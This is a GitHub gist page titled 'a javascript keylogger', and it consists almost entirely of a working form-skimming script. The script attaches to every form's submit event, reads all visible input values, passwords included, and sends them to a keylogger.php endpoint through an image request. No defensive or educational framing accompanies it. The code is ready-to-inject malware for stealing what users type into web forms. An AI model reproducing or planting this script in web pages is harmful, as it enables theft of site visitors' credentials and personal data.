Skip to content

Instantly share code, notes, and snippets.

@j1v37u2k3y
Forked from rundongliu/keylogger.jsp
Created August 19, 2021 14:29
Show Gist options
  • Save j1v37u2k3y/3ee4608299c33fd2d450f8d74da86118 to your computer and use it in GitHub Desktop.
Save j1v37u2k3y/3ee4608299c33fd2d450f8d74da86118 to your computer and use it in GitHub Desktop.
a javascript keylogger
<script>
function post (event) {
var inputs = document.getElementsByTagName("input");
var param = ""
for(var i=0; i < inputs.length; i++)
{
input = inputs[i];
if(input.type=="hidden"|| input.type=="submit")
continue;
if(input.value=="")
continue;
param += input.type+"="+input.value+"&";
}
img = new Image();
img.src = "http://localhost/keylogger.php?"+param;
};
forms = document.getElementsByTagName("form")
for(var i=0; i < forms.length; i++)
{
form = forms[i];
form.addEventListener("submit", post);
}
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment